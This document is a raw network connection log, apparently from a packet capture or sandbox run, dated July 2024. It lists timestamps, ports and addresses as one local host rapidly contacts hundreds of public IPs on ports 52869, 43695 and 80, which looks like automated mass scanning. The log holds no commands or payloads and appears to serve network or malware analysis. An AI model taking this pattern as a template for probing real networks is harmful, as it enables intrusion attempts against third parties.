Jul 20, 2024 23:05:41.615217924 CEST	52869	43695	98.62.66.82	192.168.2.13
Jul 20, 2024 23:05:41.615221024 CEST	52869	43695	109.141.221.47	192.168.2.13
Jul 20, 2024 23:05:41.615221977 CEST	52869	43695	133.158.71.100	192.168.2.13
Jul 20, 2024 23:05:41.615226030 CEST	52869	43695	178.30.96.255	192.168.2.13
Jul 20, 2024 23:05:41.615226984 CEST	52869	43695	97.238.242.136	192.168.2.13
Jul 20, 2024 23:05:41.615227938 CEST	52869	43695	25.235.208.95	192.168.2.13
Jul 20, 2024 23:05:41.615238905 CEST	52869	43695	58.135.172.102	192.168.2.13
Jul 20, 2024 23:05:41.615243912 CEST	52869	43695	147.27.199.241	192.168.2.13
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	68.121.200.194
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	197.184.33.48
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	101.229.203.102
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	144.36.184.140
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	157.224.208.16
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	167.203.115.207
Jul 20, 2024 23:05:41.615698099 CEST	43695	52869	192.168.2.13	152.123.228.128
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	155.188.0.225
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	64.163.90.195
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	19.197.253.210
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	192.28.73.157
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	199.200.28.239
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	115.225.59.235
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	183.2.3.229
Jul 20, 2024 23:05:41.615747929 CEST	43695	52869	192.168.2.13	203.68.243.25
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	219.10.155.24
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	112.208.243.225
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	1.147.145.150
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	220.219.240.202
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	48.99.217.220
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	171.212.235.66
Jul 20, 2024 23:05:41.615813971 CEST	43695	52869	192.168.2.13	186.66.83.107
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	88.214.109.161
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	131.238.38.36
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	204.247.158.164
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	66.238.97.61
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	114.145.159.92
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	219.74.177.50
Jul 20, 2024 23:05:41.616535902 CEST	43695	52869	192.168.2.13	75.27.220.215
Jul 20, 2024 23:05:41.616537094 CEST	43695	52869	192.168.2.13	202.161.35.81
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	206.139.102.243
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	40.202.113.73
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	93.13.247.19
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	141.139.224.47
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	126.50.220.63
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	170.70.83.184
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	142.172.39.222
Jul 20, 2024 23:05:41.617324114 CEST	43695	52869	192.168.2.13	41.145.182.144
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	47.20.88.132
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	151.202.24.195
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	156.109.89.116
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	13.253.4.10
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	206.206.29.210
Jul 20, 2024 23:05:41.617414951 CEST	43695	52869	192.168.2.13	39.60.31.173
Jul 20, 2024 23:05:41.617415905 CEST	43695	52869	192.168.2.13	129.72.193.162
Jul 20, 2024 23:05:41.617575884 CEST	43695	52869	192.168.2.13	223.187.125.191
Jul 20, 2024 23:05:41.617575884 CEST	43695	52869	192.168.2.13	107.65.81.21
Jul 20, 2024 23:05:41.617577076 CEST	43695	52869	192.168.2.13	76.255.204.66
Jul 20, 2024 23:05:41.617577076 CEST	43695	52869	192.168.2.13	167.230.115.81
Jul 20, 2024 23:05:41.617577076 CEST	43695	52869	192.168.2.13	19.103.146.122
Jul 20, 2024 23:05:41.617577076 CEST	43695	52869	192.168.2.13	41.31.162.56
Jul 20, 2024 23:05:41.617577076 CEST	43695	52869	192.168.2.13	69.12.235.71
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	151.249.74.160
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	83.193.174.246
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	184.111.41.200
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	95.86.141.240
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	51.243.155.98
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	70.214.95.85
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	171.146.12.186
Jul 20, 2024 23:05:41.618146896 CEST	43695	52869	192.168.2.13	108.43.220.197
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	12.229.29.193
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	153.149.166.39
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	175.32.122.132
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	34.181.222.174
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	88.192.217.164
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	218.189.225.43
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	153.45.45.147
Jul 20, 2024 23:05:41.618697882 CEST	43695	52869	192.168.2.13	190.87.120.121
Jul 20, 2024 23:05:41.618833065 CEST	43695	52869	192.168.2.13	46.122.100.215
Jul 20, 2024 23:05:41.618833065 CEST	43695	52869	192.168.2.13	175.157.85.167
Jul 20, 2024 23:05:41.618833065 CEST	43695	52869	192.168.2.13	9.92.192.231
Jul 20, 2024 23:05:41.618833065 CEST	43695	52869	192.168.2.13	87.149.54.49
Jul 20, 2024 23:05:41.618833065 CEST	43695	52869	192.168.2.13	147.27.199.241
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	119.155.195.191
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	196.144.35.30
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	50.231.142.184
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	153.208.199.46
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	124.88.86.107
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	180.27.126.200
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	128.167.145.108
Jul 20, 2024 23:05:41.619016886 CEST	43695	52869	192.168.2.13	177.6.7.191
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	203.110.53.35
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	161.47.225.191
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	169.46.166.178
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	45.142.228.136
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	8.60.255.176
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	188.120.126.214
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	84.95.135.195
Jul 20, 2024 23:05:41.619404078 CEST	43695	52869	192.168.2.13	209.181.151.253
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	90.174.176.155
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	206.141.100.77
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	8.206.158.177
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	135.167.95.136
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	141.172.255.120
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	19.80.213.198
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	27.206.168.52
Jul 20, 2024 23:05:41.619441032 CEST	43695	52869	192.168.2.13	112.160.90.242
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	196.79.249.45
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	104.207.70.64
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	46.126.2.244
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	76.138.76.53
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	142.58.234.104
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	32.20.24.181
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	125.76.116.19
Jul 20, 2024 23:05:41.620153904 CEST	43695	52869	192.168.2.13	180.84.255.5
Jul 20, 2024 23:05:41.620475054 CEST	43695	52869	192.168.2.13	176.103.229.144
Jul 20, 2024 23:05:41.620475054 CEST	43695	52869	192.168.2.13	148.162.204.58
Jul 20, 2024 23:05:41.620475054 CEST	43695	52869	192.168.2.13	146.195.175.74
Jul 20, 2024 23:05:41.620475054 CEST	43695	52869	192.168.2.13	221.42.246.7
Jul 20, 2024 23:05:41.620476007 CEST	43695	52869	192.168.2.13	86.2.137.180
Jul 20, 2024 23:05:41.620476007 CEST	43695	52869	192.168.2.13	36.89.58.52
Jul 20, 2024 23:05:41.620476007 CEST	43695	52869	192.168.2.13	98.62.66.82
Jul 20, 2024 23:05:41.620476007 CEST	43695	52869	192.168.2.13	58.135.172.102
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	73.95.157.254
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	140.210.195.219
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	198.223.152.158
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	187.38.145.93
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	150.177.152.4
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	182.222.251.164
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	188.202.147.226
Jul 20, 2024 23:05:41.621062040 CEST	43695	52869	192.168.2.13	58.164.88.29
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	113.13.202.5
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	159.243.208.100
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	194.222.156.80
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	223.171.240.85
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	80.173.225.23
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	90.84.30.242
Jul 20, 2024 23:05:41.621146917 CEST	43695	52869	192.168.2.13	164.11.218.34
Jul 20, 2024 23:05:41.621148109 CEST	43695	52869	192.168.2.13	65.110.37.185
Jul 20, 2024 23:05:41.621360064 CEST	43695	52869	192.168.2.13	44.145.122.39
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	120.224.121.58
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	140.166.42.218
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	58.61.225.93
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	206.168.18.35
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	189.57.148.66
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	25.235.208.95
Jul 20, 2024 23:05:41.621361017 CEST	43695	52869	192.168.2.13	178.30.96.255
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	114.138.146.55
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	41.49.55.165
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	151.81.182.232
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	126.153.140.123
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	70.118.174.154
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	63.54.94.225
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	23.98.231.99
Jul 20, 2024 23:05:41.621539116 CEST	43695	52869	192.168.2.13	191.46.165.104
Jul 20, 2024 23:05:41.622312069 CEST	43695	52869	192.168.2.13	147.205.180.17
Jul 20, 2024 23:05:41.622313023 CEST	43695	52869	192.168.2.13	133.158.71.100
Jul 20, 2024 23:05:41.622313023 CEST	43695	52869	192.168.2.13	97.238.242.136
Jul 20, 2024 23:05:41.622482061 CEST	43695	52869	192.168.2.13	34.24.241.58
Jul 20, 2024 23:05:41.622482061 CEST	43695	52869	192.168.2.13	124.91.74.236
Jul 20, 2024 23:05:41.622482061 CEST	43695	52869	192.168.2.13	157.132.79.48
Jul 20, 2024 23:05:41.622482061 CEST	43695	52869	192.168.2.13	109.141.221.47
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	23.229.181.146
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	162.30.112.143
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	78.194.200.52
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	99.58.50.105
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	125.91.244.45
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	71.125.28.229
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	18.168.2.86
Jul 20, 2024 23:05:41.622742891 CEST	43695	52869	192.168.2.13	184.244.251.192
Jul 20, 2024 23:05:41.623048067 CEST	43695	52869	192.168.2.13	175.33.210.110
Jul 20, 2024 23:05:41.623048067 CEST	43695	52869	192.168.2.13	59.206.251.27
Jul 20, 2024 23:05:41.623048067 CEST	43695	52869	192.168.2.13	61.231.166.97
Jul 20, 2024 23:05:41.623115063 CEST	52869	43695	114.231.240.92	192.168.2.13
Jul 20, 2024 23:05:41.623116016 CEST	52869	43695	13.168.51.211	192.168.2.13
Jul 20, 2024 23:05:41.623120070 CEST	52869	43695	8.139.163.163	192.168.2.13
Jul 20, 2024 23:05:41.623123884 CEST	52869	43695	12.182.213.39	192.168.2.13
Jul 20, 2024 23:05:41.623126030 CEST	52869	43695	62.211.99.198	192.168.2.13
Jul 20, 2024 23:05:41.623128891 CEST	52869	43695	164.94.101.15	192.168.2.13
Jul 20, 2024 23:05:41.623131037 CEST	52869	43695	135.157.76.90	192.168.2.13
Jul 20, 2024 23:05:41.623132944 CEST	52869	43695	124.116.187.38	192.168.2.13
Jul 20, 2024 23:05:41.623133898 CEST	52869	43695	145.248.139.128	192.168.2.13
Jul 20, 2024 23:05:41.623140097 CEST	52869	43695	72.176.21.17	192.168.2.13
Jul 20, 2024 23:05:41.623143911 CEST	52869	43695	12.216.230.104	192.168.2.13
Jul 20, 2024 23:05:41.623146057 CEST	52869	43695	36.231.137.63	192.168.2.13
Jul 20, 2024 23:05:41.623147011 CEST	52869	43695	2.68.48.231	192.168.2.13
Jul 20, 2024 23:05:41.623148918 CEST	52869	43695	62.31.223.139	192.168.2.13
Jul 20, 2024 23:05:41.623151064 CEST	52869	43695	187.221.11.254	192.168.2.13
Jul 20, 2024 23:05:41.623156071 CEST	52869	43695	46.243.105.121	192.168.2.13
Jul 20, 2024 23:05:41.623157978 CEST	52869	43695	36.98.96.82	192.168.2.13
Jul 20, 2024 23:05:41.623159885 CEST	52869	43695	71.98.165.96	192.168.2.13
Jul 20, 2024 23:05:41.623162985 CEST	52869	43695	39.103.179.201	192.168.2.13
Jul 20, 2024 23:05:41.623162985 CEST	52869	43695	50.58.87.214	192.168.2.13
Jul 20, 2024 23:05:41.623163939 CEST	52869	43695	165.169.79.65	192.168.2.13
Jul 20, 2024 23:05:41.623166084 CEST	52869	43695	169.29.92.175	192.168.2.13
Jul 20, 2024 23:05:41.623167038 CEST	52869	43695	84.130.251.129	192.168.2.13
Jul 20, 2024 23:05:41.623167992 CEST	52869	43695	223.247.126.114	192.168.2.13
Jul 20, 2024 23:05:41.623168945 CEST	52869	43695	202.97.122.165	192.168.2.13
Jul 20, 2024 23:05:41.623169899 CEST	43695	52869	192.168.2.13	13.168.51.211
Jul 20, 2024 23:05:41.623169899 CEST	52869	43695	2.75.222.244	192.168.2.13
Jul 20, 2024 23:05:41.623169899 CEST	43695	52869	192.168.2.13	164.94.101.15
Jul 20, 2024 23:05:41.623178005 CEST	52869	43695	1.18.31.35	192.168.2.13
Jul 20, 2024 23:05:41.623179913 CEST	43695	52869	192.168.2.13	8.139.163.163
Jul 20, 2024 23:05:41.623179913 CEST	52869	43695	196.10.93.8	192.168.2.13
Jul 20, 2024 23:05:41.623182058 CEST	52869	43695	181.241.138.228	192.168.2.13
Jul 20, 2024 23:05:41.623183966 CEST	52869	43695	118.92.33.157	192.168.2.13
Jul 20, 2024 23:05:41.623184919 CEST	52869	43695	190.254.96.89	192.168.2.13
Jul 20, 2024 23:05:41.623187065 CEST	52869	43695	203.248.150.90	192.168.2.13
Jul 20, 2024 23:05:41.623187065 CEST	43695	52869	192.168.2.13	12.182.213.39
Jul 20, 2024 23:05:41.623188019 CEST	52869	43695	18.192.124.239	192.168.2.13
Jul 20, 2024 23:05:41.623189926 CEST	52869	43695	58.125.191.206	192.168.2.13
Jul 20, 2024 23:05:41.623193026 CEST	52869	43695	83.170.219.102	192.168.2.13
Jul 20, 2024 23:05:41.623193979 CEST	52869	43695	46.188.93.210	192.168.2.13
Jul 20, 2024 23:05:41.623194933 CEST	43695	52869	192.168.2.13	135.157.76.90
Jul 20, 2024 23:05:41.623194933 CEST	43695	52869	192.168.2.13	62.31.223.139
Jul 20, 2024 23:05:41.623240948 CEST	43695	52869	192.168.2.13	62.211.99.198
Jul 20, 2024 23:05:41.623240948 CEST	43695	52869	192.168.2.13	36.231.137.63
Jul 20, 2024 23:05:41.623241901 CEST	43695	52869	192.168.2.13	114.231.240.92
Jul 20, 2024 23:05:41.623241901 CEST	43695	52869	192.168.2.13	187.221.11.254
Jul 20, 2024 23:05:41.623241901 CEST	43695	52869	192.168.2.13	2.68.48.231
Jul 20, 2024 23:05:41.623243093 CEST	43695	52869	192.168.2.13	36.98.96.82
Jul 20, 2024 23:05:41.623243093 CEST	43695	52869	192.168.2.13	39.103.179.201
Jul 20, 2024 23:05:41.623243093 CEST	43695	52869	192.168.2.13	165.169.79.65
Jul 20, 2024 23:05:41.623243093 CEST	43695	52869	192.168.2.13	50.58.87.214
Jul 20, 2024 23:05:41.623243093 CEST	43695	52869	192.168.2.13	46.243.105.121
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	124.116.187.38
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	71.98.165.96
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	84.130.251.129
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	202.97.122.165
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	1.18.31.35
Jul 20, 2024 23:05:41.623302937 CEST	43695	52869	192.168.2.13	2.75.222.244
Jul 20, 2024 23:05:41.623346090 CEST	43695	52869	192.168.2.13	145.248.139.128
Jul 20, 2024 23:05:41.623346090 CEST	43695	52869	192.168.2.13	72.176.21.17
Jul 20, 2024 23:05:41.623492002 CEST	43695	52869	192.168.2.13	12.216.230.104
Jul 20, 2024 23:05:41.623795033 CEST	43695	52869	192.168.2.13	169.29.92.175
Jul 20, 2024 23:05:41.623795033 CEST	43695	52869	192.168.2.13	223.247.126.114
Jul 20, 2024 23:05:41.623795033 CEST	43695	52869	192.168.2.13	196.10.93.8
Jul 20, 2024 23:05:41.623795033 CEST	43695	52869	192.168.2.13	118.92.33.157
Jul 20, 2024 23:05:41.623795986 CEST	43695	52869	192.168.2.13	203.248.150.90
Jul 20, 2024 23:05:41.623795986 CEST	43695	52869	192.168.2.13	18.192.124.239
Jul 20, 2024 23:05:41.623795986 CEST	43695	52869	192.168.2.13	83.170.219.102
Jul 20, 2024 23:05:41.623795986 CEST	43695	52869	192.168.2.13	46.188.93.210
Jul 20, 2024 23:05:41.623821974 CEST	43695	52869	192.168.2.13	181.241.138.228
Jul 20, 2024 23:05:41.623821974 CEST	43695	52869	192.168.2.13	190.254.96.89
Jul 20, 2024 23:05:41.623821974 CEST	43695	52869	192.168.2.13	58.125.191.206
Jul 20, 2024 23:05:41.629908085 CEST	21679	80	192.168.2.13	95.82.15.117
Jul 20, 2024 23:05:41.629956007 CEST	21679	80	192.168.2.13	95.12.52.181
Jul 20, 2024 23:05:41.629970074 CEST	21679	80	192.168.2.13	95.12.88.73
Jul 20, 2024 23:05:41.629988909 CEST	21679	80	192.168.2.13	95.109.0.167
Jul 20, 2024 23:05:41.630054951 CEST	21679	80	192.168.2.13	95.91.176.183
Jul 20, 2024 23:05:41.630084991 CEST	21679	80	192.168.2.13	95.85.44.222
Jul 20, 2024 23:05:41.630084991 CEST	21679	80	192.168.2.13	95.48.33.221
Jul 20, 2024 23:05:41.630109072 CEST	21679	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:41.630172968 CEST	21679	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:41.630172968 CEST	21679	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:41.630191088 CEST	21679	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:41.630281925 CEST	21679	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:41.630285025 CEST	21679	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:41.630285025 CEST	21679	80	192.168.2.13	95.200.69.55
Jul 20, 2024 23:05:41.630285025 CEST	21679	80	192.168.2.13	95.199.121.127
Jul 20, 2024 23:05:41.630319118 CEST	21679	80	192.168.2.13	95.228.200.238
Jul 20, 2024 23:05:41.630336046 CEST	21679	80	192.168.2.13	95.127.71.38
Jul 20, 2024 23:05:41.630357981 CEST	21679	80	192.168.2.13	95.244.33.243
Jul 20, 2024 23:05:41.630372047 CEST	21679	80	192.168.2.13	95.129.69.195
Jul 20, 2024 23:05:41.630448103 CEST	21679	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:41.630475044 CEST	21679	80	192.168.2.13	95.27.212.157
Jul 20, 2024 23:05:41.630495071 CEST	21679	80	192.168.2.13	95.22.148.165
Jul 20, 2024 23:05:41.630544901 CEST	21679	80	192.168.2.13	95.244.225.178
Jul 20, 2024 23:05:41.630569935 CEST	21679	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:41.630569935 CEST	21679	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:41.630569935 CEST	21679	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:41.630569935 CEST	21679	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:41.630630016 CEST	21679	80	192.168.2.13	95.130.191.169
Jul 20, 2024 23:05:41.630630970 CEST	21679	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:41.630681992 CEST	21679	80	192.168.2.13	95.85.49.156
Jul 20, 2024 23:05:41.630681992 CEST	21679	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:41.630724907 CEST	21679	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:41.630728960 CEST	21679	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:41.630794048 CEST	21679	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:41.630794048 CEST	21679	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:41.630829096 CEST	21679	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:41.630829096 CEST	21679	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:41.630829096 CEST	21679	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:41.630829096 CEST	21679	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:41.630829096 CEST	21679	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:41.630835056 CEST	21679	80	192.168.2.13	95.140.215.247
Jul 20, 2024 23:05:41.630835056 CEST	21679	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:41.630867958 CEST	21679	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:41.630959988 CEST	21679	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:41.630959988 CEST	21679	80	192.168.2.13	95.207.7.187
Jul 20, 2024 23:05:41.631181955 CEST	21679	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:41.631202936 CEST	21679	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:41.631253004 CEST	21679	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:41.631253958 CEST	21679	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:41.631369114 CEST	21679	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:41.631376028 CEST	21679	80	192.168.2.13	95.44.224.90
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:41.631397963 CEST	21679	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.203.152.93
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:41.631403923 CEST	21679	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:41.631484985 CEST	21679	80	192.168.2.13	95.80.184.76
Jul 20, 2024 23:05:41.631535053 CEST	21679	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:41.631535053 CEST	21679	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:41.631535053 CEST	21679	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:41.631535053 CEST	21679	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:41.631535053 CEST	21679	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:41.631652117 CEST	21679	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:41.631652117 CEST	21679	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:41.631652117 CEST	21679	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:41.631652117 CEST	21679	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:41.631652117 CEST	21679	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:41.631653070 CEST	21679	80	192.168.2.13	95.111.165.44
Jul 20, 2024 23:05:41.631653070 CEST	21679	80	192.168.2.13	95.115.29.222
Jul 20, 2024 23:05:41.631771088 CEST	21679	80	192.168.2.13	95.135.109.123
